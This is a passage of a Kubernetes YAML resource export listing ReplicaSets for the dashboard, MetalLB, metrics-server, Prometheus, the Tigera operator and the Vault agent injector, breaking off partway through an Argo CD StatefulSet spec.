          app.kubernetes.io/part-of: kubernetes-dashboard
          app.kubernetes.io/version: 1.7.0
          helm.sh/chart: kubernetes-dashboard-7.13.0
          pod-template-hash: 7796b9fbbb
      spec:
        automountServiceAccountToken: true
        containers:
        - args:
          - --namespace=kubernetes-dashboard
          - --settings-config-map-name=kubernetes-dashboard-web-settings
          env:
          - name: GOMAXPROCS
            valueFrom:
              resourceFieldRef:
                divisor: "1"
                resource: limits.cpu
          - name: GOMEMLIMIT
            valueFrom:
              resourceFieldRef:
                divisor: "1"
                resource: limits.memory
          image: docker.io/kubernetesui/dashboard-web:1.7.0
          imagePullPolicy: IfNotPresent
          name: kubernetes-dashboard-web
          ports:
          - containerPort: 8000
            name: web
            protocol: TCP
          resources:
            limits:
              cpu: 250m
              memory: 400Mi
            requests:
              cpu: 100m
              memory: 200Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsGroup: 2001
            runAsUser: 1001
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /tmp
            name: tmp-volume
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          runAsNonRoot: true
          seccompProfile:
            type: RuntimeDefault
        serviceAccount: kubernetes-dashboard-web
        serviceAccountName: kubernetes-dashboard-web
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: tmp-volume
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    generation: 1
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/name: metallb
      pod-template-hash: 5754956df6
    name: metallb-controller-5754956df6
    namespace: metallb-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: metallb-controller
      uid: c2e37924-ad30-4fd1-a6ba-0fbd3a78632d
    resourceVersion: "18034251"
    uid: e5bd5220-42ab-40c1-9a68-0c93ef400785
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/component: controller
        app.kubernetes.io/instance: metallb
        app.kubernetes.io/name: metallb
        pod-template-hash: 5754956df6
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: controller
          app.kubernetes.io/instance: metallb
          app.kubernetes.io/name: metallb
          pod-template-hash: 5754956df6
      spec:
        containers:
        - args:
          - --port=7472
          - --log-level=info
          - --tls-min-version=VersionTLS12
          env:
          - name: METALLB_ML_SECRET_NAME
            value: metallb-memberlist
          - name: METALLB_DEPLOYMENT
            value: metallb-controller
          - name: METALLB_BGP_TYPE
            value: frr
          image: quay.io/metallb/controller:v0.15.2
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /metrics
              port: monitoring
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: controller
          ports:
          - containerPort: 7472
            name: monitoring
            protocol: TCP
          - containerPort: 9443
            name: webhook-server
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /metrics
              port: monitoring
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /tmp/k8s-webhook-server/serving-certs
            name: cert
            readOnly: true
        dnsPolicy: ClusterFirst
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 65534
          runAsNonRoot: true
          runAsUser: 65534
        serviceAccount: metallb-controller
        serviceAccountName: metallb-controller
        terminationGracePeriodSeconds: 0
        volumes:
        - name: cert
          secret:
            defaultMode: 420
            secretName: metallb-webhook-cert
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "2"
      meta.helm.sh/release-name: metrics-server
      meta.helm.sh/release-namespace: metrics-server
    creationTimestamp: "2025-09-22T18:36:31Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: metrics-server
      app.kubernetes.io/name: metrics-server
      pod-template-hash: 5dd7b49d79
    name: metrics-server-5dd7b49d79
    namespace: metrics-server
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: metrics-server
      uid: a2eb1804-56d7-4a0d-abc8-8c0489349ca6
    resourceVersion: "18008210"
    uid: 88420c6e-f945-42d5-82b9-c7129cb85312
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/instance: metrics-server
        app.kubernetes.io/name: metrics-server
        pod-template-hash: 5dd7b49d79
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/instance: metrics-server
          app.kubernetes.io/name: metrics-server
          pod-template-hash: 5dd7b49d79
      spec:
        containers:
        - args:
          - --secure-port=10250
          - --cert-dir=/tmp
          - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
          - --kubelet-use-node-status-port
          - --metric-resolution=15s
          - --kubelet-insecure-tls
          image: registry.k8s.io/metrics-server/metrics-server:v0.8.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /livez
              port: https
              scheme: HTTPS
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: metrics-server
          ports:
          - containerPort: 10250
            name: https
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /readyz
              port: https
              scheme: HTTPS
            initialDelaySeconds: 20
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources:
            requests:
              cpu: 100m
              memory: 200Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            runAsUser: 1000
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /tmp
            name: tmp
        dnsPolicy: ClusterFirst
        priorityClassName: system-cluster-critical
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: metrics-server
        serviceAccountName: metrics-server
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: tmp
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: metrics-server
      meta.helm.sh/release-namespace: metrics-server
    creationTimestamp: "2025-09-22T18:30:50Z"
    generation: 2
    labels:
      app.kubernetes.io/instance: metrics-server
      app.kubernetes.io/name: metrics-server
      pod-template-hash: 6b6d5b646
    name: metrics-server-6b6d5b646
    namespace: metrics-server
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: metrics-server
      uid: a2eb1804-56d7-4a0d-abc8-8c0489349ca6
    resourceVersion: "268018"
    uid: ce35e6ba-51e8-4d29-9a18-24e03ca5ef67
  spec:
    replicas: 0
    selector:
      matchLabels:
        app.kubernetes.io/instance: metrics-server
        app.kubernetes.io/name: metrics-server
        pod-template-hash: 6b6d5b646
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/instance: metrics-server
          app.kubernetes.io/name: metrics-server
          pod-template-hash: 6b6d5b646
      spec:
        containers:
        - args:
          - --secure-port=10250
          - --cert-dir=/tmp
          - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
          - --kubelet-use-node-status-port
          - --metric-resolution=15s
          image: registry.k8s.io/metrics-server/metrics-server:v0.8.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /livez
              port: https
              scheme: HTTPS
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: metrics-server
          ports:
          - containerPort: 10250
            name: https
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /readyz
              port: https
              scheme: HTTPS
            initialDelaySeconds: 20
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources:
            requests:
              cpu: 100m
              memory: 200Mi
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
            runAsNonRoot: true
            runAsUser: 1000
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /tmp
            name: tmp
        dnsPolicy: ClusterFirst
        priorityClassName: system-cluster-critical
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: metrics-server
        serviceAccountName: metrics-server
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: tmp
  status:
    observedGeneration: 2
    replicas: 0
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:44Z"
    generation: 1
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kube-state-metrics
      app.kubernetes.io/part-of: kube-state-metrics
      app.kubernetes.io/version: 2.17.0
      helm.sh/chart: kube-state-metrics-6.3.0
      pod-template-hash: "7867455795"
    name: prometheus-community-kube-state-metrics-7867455795
    namespace: prometheus
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: prometheus-community-kube-state-metrics
      uid: 56476bea-f052-4ca0-948a-3b012b194dc5
    resourceVersion: "18034206"
    uid: c44dec1a-6ec7-4dbd-b2f0-aae0682f0df8
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/instance: prometheus-community
        app.kubernetes.io/name: kube-state-metrics
        pod-template-hash: "7867455795"
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: metrics
          app.kubernetes.io/instance: prometheus-community
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: kube-state-metrics
          app.kubernetes.io/part-of: kube-state-metrics
          app.kubernetes.io/version: 2.17.0
          helm.sh/chart: kube-state-metrics-6.3.0
          pod-template-hash: "7867455795"
      spec:
        automountServiceAccountToken: true
        containers:
        - args:
          - --port=8080
          - --resources=certificatesigningrequests,configmaps,cronjobs,daemonsets,deployments,endpoints,horizontalpodautoscalers,ingresses,jobs,leases,limitranges,mutatingwebhookconfigurations,namespaces,networkpolicies,nodes,persistentvolumeclaims,persistentvolumes,poddisruptionbudgets,pods,replicasets,replicationcontrollers,resourcequotas,secrets,services,statefulsets,storageclasses,validatingwebhookconfigurations,volumeattachments
          image: registry.k8s.io/kube-state-metrics/kube-state-metrics:v2.17.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /livez
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 5
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          name: kube-state-metrics
          ports:
          - containerPort: 8080
            name: http
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /readyz
              port: 8081
              scheme: HTTP
            initialDelaySeconds: 5
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 5
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 65534
          runAsGroup: 65534
          runAsNonRoot: true
          runAsUser: 65534
          seccompProfile:
            type: RuntimeDefault
        serviceAccount: prometheus-community-kube-state-metrics
        serviceAccountName: prometheus-community-kube-state-metrics
        terminationGracePeriodSeconds: 30
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "1"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:44Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-pushgateway
      app.kubernetes.io/version: v1.11.1
      helm.sh/chart: prometheus-pushgateway-3.4.1
      pod-template-hash: 69cb7cfdbb
    name: prometheus-community-prometheus-pushgateway-69cb7cfdbb
    namespace: prometheus
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: prometheus-community-prometheus-pushgateway
      uid: d89dfd2a-12e4-44f1-a1c9-c669709cbdad
    resourceVersion: "18007888"
    uid: 9428a1c1-f71a-4c26-82ad-ddad15d054a8
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/instance: prometheus-community
        app.kubernetes.io/name: prometheus-pushgateway
        pod-template-hash: 69cb7cfdbb
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/instance: prometheus-community
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: prometheus-pushgateway
          app.kubernetes.io/version: v1.11.1
          helm.sh/chart: prometheus-pushgateway-3.4.1
          pod-template-hash: 69cb7cfdbb
      spec:
        automountServiceAccountToken: true
        containers:
        - image: quay.io/prometheus/pushgateway:v1.11.1
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /-/healthy
              port: 9091
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 10
          name: pushgateway
          ports:
          - containerPort: 9091
            name: metrics
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /-/ready
              port: 9091
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 10
          resources: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /data
            name: storage-volume
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 65534
          runAsNonRoot: true
          runAsUser: 65534
        serviceAccount: prometheus-community-prometheus-pushgateway
        serviceAccountName: prometheus-community-prometheus-pushgateway
        terminationGracePeriodSeconds: 30
        volumes:
        - emptyDir: {}
          name: storage-volume
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "1"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: prometheus-community
      meta.helm.sh/release-namespace: prometheus
    creationTimestamp: "2025-09-26T14:49:44Z"
    generation: 1
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/name: prometheus
      app.kubernetes.io/part-of: prometheus
      app.kubernetes.io/version: v3.6.0
      helm.sh/chart: prometheus-27.39.0
      pod-template-hash: 7c866c8b56
    name: prometheus-community-server-7c866c8b56
    namespace: prometheus
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: prometheus-community-server
      uid: 5bc0fc79-da43-496e-8de0-1772f4d108b6
    resourceVersion: "18034285"
    uid: 5404a57c-c654-439a-ae95-781cfe5c4615
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/component: server
        app.kubernetes.io/instance: prometheus-community
        app.kubernetes.io/name: prometheus
        pod-template-hash: 7c866c8b56
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: server
          app.kubernetes.io/instance: prometheus-community
          app.kubernetes.io/name: prometheus
          app.kubernetes.io/part-of: prometheus
          app.kubernetes.io/version: v3.6.0
          helm.sh/chart: prometheus-27.39.0
          pod-template-hash: 7c866c8b56
      spec:
        containers:
        - args:
          - --watched-dir=/etc/config
          - --listen-address=0.0.0.0:8080
          - --reload-url=http://127.0.0.1:9090/-/reload
          image: quay.io/prometheus-operator/prometheus-config-reloader:v0.85.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz
              port: metrics
              scheme: HTTP
            initialDelaySeconds: 2
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: prometheus-server-configmap-reload
          ports:
          - containerPort: 8080
            name: metrics
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz
              port: metrics
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/config
            name: config-volume
            readOnly: true
        - args:
          - --storage.tsdb.retention.time=15d
          - --config.file=/etc/config/prometheus.yml
          - --storage.tsdb.path=/data
          - --web.console.libraries=/etc/prometheus/console_libraries
          - --web.console.templates=/etc/prometheus/consoles
          - --web.enable-lifecycle
          image: quay.io/prometheus/prometheus:v3.6.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /-/healthy
              port: 9090
              scheme: HTTP
            initialDelaySeconds: 30
            periodSeconds: 15
            successThreshold: 1
            timeoutSeconds: 10
          name: prometheus-server
          ports:
          - containerPort: 9090
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /-/ready
              port: 9090
              scheme: HTTP
            initialDelaySeconds: 30
            periodSeconds: 5
            successThreshold: 1
            timeoutSeconds: 4
          resources: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/config
            name: config-volume
          - mountPath: /data
            name: storage-volume
        dnsPolicy: ClusterFirst
        enableServiceLinks: true
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 65534
          runAsGroup: 65534
          runAsNonRoot: true
          runAsUser: 65534
        serviceAccount: prometheus-community-server
        serviceAccountName: prometheus-community-server
        terminationGracePeriodSeconds: 300
        volumes:
        - configMap:
            defaultMode: 420
            name: prometheus-community-server
          name: config-volume
        - name: storage-volume
          persistentVolumeClaim:
            claimName: prometheus-community-server
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
    creationTimestamp: "2025-10-19T16:11:25Z"
    generation: 1
    labels:
      k8s-app: tigera-operator
      name: tigera-operator
      pod-template-hash: 7dcd859c48
    name: tigera-operator-7dcd859c48
    namespace: tigera-operator
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: tigera-operator
      uid: d3c91db9-3bf1-490b-b420-4703894fd832
    resourceVersion: "18045906"
    uid: c8d517d0-8616-4038-b7b9-ab43939b200d
  spec:
    replicas: 1
    selector:
      matchLabels:
        name: tigera-operator
        pod-template-hash: 7dcd859c48
    template:
      metadata:
        creationTimestamp: null
        labels:
          k8s-app: tigera-operator
          name: tigera-operator
          pod-template-hash: 7dcd859c48
      spec:
        containers:
        - args:
          - -manage-crds=true
          command:
          - operator
          env:
          - name: WATCH_NAMESPACE
          - name: POD_NAME
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.name
          - name: OPERATOR_NAME
            value: tigera-operator
          - name: TIGERA_OPERATOR_INIT_IMAGE_VERSION
            value: v1.38.7
          envFrom:
          - configMapRef:
              name: kubernetes-services-endpoint
              optional: true
          image: quay.io/tigera/operator:v1.38.7
          imagePullPolicy: IfNotPresent
          name: tigera-operator
          resources: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /var/lib/calico
            name: var-lib-calico
            readOnly: true
        dnsPolicy: ClusterFirstWithHostNet
        hostNetwork: true
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: tigera-operator
        serviceAccountName: tigera-operator
        terminationGracePeriodSeconds: 60
        tolerations:
        - effect: NoExecute
          operator: Exists
        - effect: NoSchedule
          operator: Exists
        volumes:
        - hostPath:
            path: /var/lib/calico
            type: ""
          name: var-lib-calico
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: ReplicaSet
  metadata:
    annotations:
      deployment.kubernetes.io/desired-replicas: "1"
      deployment.kubernetes.io/max-replicas: "2"
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: vault
      meta.helm.sh/release-namespace: vault
    creationTimestamp: "2025-09-22T18:24:00Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/name: vault-agent-injector
      component: webhook
      pod-template-hash: 6ffc786d9f
    name: vault-agent-injector-6ffc786d9f
    namespace: vault
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: Deployment
      name: vault-agent-injector
      uid: c5b56567-bba2-4b83-b1b7-65acdb07006e
    resourceVersion: "18007847"
    uid: c0a64f68-1869-42ea-a167-6c336c951a4e
  spec:
    replicas: 1
    selector:
      matchLabels:
        app.kubernetes.io/instance: vault
        app.kubernetes.io/name: vault-agent-injector
        component: webhook
        pod-template-hash: 6ffc786d9f
    template:
      metadata:
        creationTimestamp: null
        labels:
          app.kubernetes.io/instance: vault
          app.kubernetes.io/name: vault-agent-injector
          component: webhook
          pod-template-hash: 6ffc786d9f
      spec:
        affinity:
          podAntiAffinity:
            requiredDuringSchedulingIgnoredDuringExecution:
            - labelSelector:
                matchLabels:
                  app.kubernetes.io/instance: vault
                  app.kubernetes.io/name: vault-agent-injector
                  component: webhook
              topologyKey: kubernetes.io/hostname
        containers:
        - args:
          - agent-inject
          - 2>&1
          env:
          - name: AGENT_INJECT_LISTEN
            value: :8080
          - name: AGENT_INJECT_LOG_LEVEL
            value: info
          - name: AGENT_INJECT_VAULT_ADDR
            value: http://vault.vault.svc:8200
          - name: AGENT_INJECT_VAULT_AUTH_PATH
            value: auth/kubernetes
          - name: AGENT_INJECT_VAULT_IMAGE
            value: hashicorp/vault:1.20.1
          - name: AGENT_INJECT_TLS_AUTO
            value: vault-agent-injector-cfg
          - name: AGENT_INJECT_TLS_AUTO_HOSTS
            value: vault-agent-injector-svc,vault-agent-injector-svc.vault,vault-agent-injector-svc.vault.svc
          - name: AGENT_INJECT_LOG_FORMAT
            value: standard
          - name: AGENT_INJECT_REVOKE_ON_SHUTDOWN
            value: "false"
          - name: AGENT_INJECT_CPU_REQUEST
            value: 250m
          - name: AGENT_INJECT_CPU_LIMIT
            value: 500m
          - name: AGENT_INJECT_MEM_REQUEST
            value: 64Mi
          - name: AGENT_INJECT_MEM_LIMIT
            value: 128Mi
          - name: AGENT_INJECT_DEFAULT_TEMPLATE
            value: map
          - name: AGENT_INJECT_TEMPLATE_CONFIG_EXIT_ON_RETRY_FAILURE
            value: "true"
          - name: POD_NAME
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.name
          image: hashicorp/vault-k8s:1.7.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 2
            httpGet:
              path: /health/ready
              port: 8080
              scheme: HTTPS
            initialDelaySeconds: 5
            periodSeconds: 2
            successThreshold: 1
            timeoutSeconds: 5
          name: sidecar-injector
          readinessProbe:
            failureThreshold: 2
            httpGet:
              path: /health/ready
              port: 8080
              scheme: HTTPS
            initialDelaySeconds: 5
            periodSeconds: 2
            successThreshold: 1
            timeoutSeconds: 5
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
          startupProbe:
            failureThreshold: 12
            httpGet:
              path: /health/ready
              port: 8080
              scheme: HTTPS
            initialDelaySeconds: 5
            periodSeconds: 5
            successThreshold: 1
            timeoutSeconds: 5
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 1000
          runAsGroup: 1000
          runAsNonRoot: true
          runAsUser: 100
        serviceAccount: vault-agent-injector
        serviceAccountName: vault-agent-injector
        terminationGracePeriodSeconds: 30
  status:
    availableReplicas: 1
    fullyLabeledReplicas: 1
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
- apiVersion: apps/v1
  kind: StatefulSet
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:18Z"
    generation: 1
    labels:
      app.kubernetes.io/component: application-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-application-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-application-controller
    namespace: argocd
    resourceVersion: "18033982"
    uid: eef4bb42-0f97-46e9-9ec8-b985fff33c88
  spec:
    persistentVolumeClaimRetentionPolicy:
      whenDeleted: Retain
      whenScaled: Retain
    podManagementPolicy: OrderedReady
    replicas: 1
    revisionHistoryLimit: 5
    selector:
      matchLabels:
        app.kubernetes.io/instance: argocd
        app.kubernetes.io/name: argocd-application-controller
    serviceName: argocd-application-controller
    template:
      metadata:
        annotations:
          checksum/cm: faedb8968e68853d0e0630d69c344209343eb97fd85812e14bd6f364258743b4
          checksum/cmd-params: 20eb358fd76fa408b8b22c58322f8864b35364bf9c00b03459e1b73f564e1bf9
        creationTimestamp: null
        labels:
          app.kubernetes.io/component: application-controller
          app.kubernetes.io/instance: argocd
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: argocd-application-controller
          app.kubernetes.io/part-of: argocd
          app.kubernetes.io/version: v3.1.6
          helm.sh/chart: argo-cd-8.5.3
      spec:
        affinity:
          podAntiAffinity:
            preferredDuringSchedulingIgnoredDuringExecution:
            - podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app.kubernetes.io/name: argocd-application-controller
                topologyKey: kubernetes.io/hostname
              weight: 100
        automountServiceAccountToken: true
        containers:
        - args:
          - /usr/local/bin/argocd-application-controller
          - --metrics-port=8082
          env:
          - name: ARGOCD_CONTROLLER_REPLICAS
            value: "1"
          - name: ARGOCD_APPLICATION_CONTROLLER_NAME
            value: argocd-application-controller
          - name: ARGOCD_RECONCILIATION_TIMEOUT
            valueFrom:
              configMapKeyRef:
                key: timeout.reconciliation
                name: argocd-cm
                optional: true
          - name: ARGOCD_HARD_RECONCILIATION_TIMEOUT
            valueFrom:
              configMapKeyRef:
                key: timeout.hard.reconciliation
                name: argocd-cm
                optional: true
          - name: ARGOCD_RECONCILIATION_JITTER
            valueFrom:
              configMapKeyRef:
                key: timeout.reconciliation.jitter
                name: argocd-cm
                optional: true
          - name: ARGOCD_REPO_ERROR_GRACE_PERIOD_SECONDS
            valueFrom:
              configMapKeyRef:
                key: controller.repo.error.grace.period.seconds
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_REPO_SERVER
            valueFrom:
              configMapKeyRef:
                key: repo.server
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_REPO_SERVER_TIMEOUT_SECONDS
            valueFrom:
              configMapKeyRef:
                key: controller.repo.server.timeout.seconds
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_STATUS_PROCESSORS
            valueFrom:
              configMapKeyRef:
                key: controller.status.processors
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_OPERATION_PROCESSORS
            valueFrom:
              configMapKeyRef:
                key: controller.operation.processors
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_LOGFORMAT
            valueFrom:
              configMapKeyRef:
                key: controller.log.format
                name: argocd-cmd-params-cm
                optional: true
          - name: ARGOCD_APPLICATION_CONTROLLER_LOGLEVEL
            valueFrom:
              configMapKeyRef:
                key: controller.log.level
                name: argocd-cmd-params-cm
                optional: true
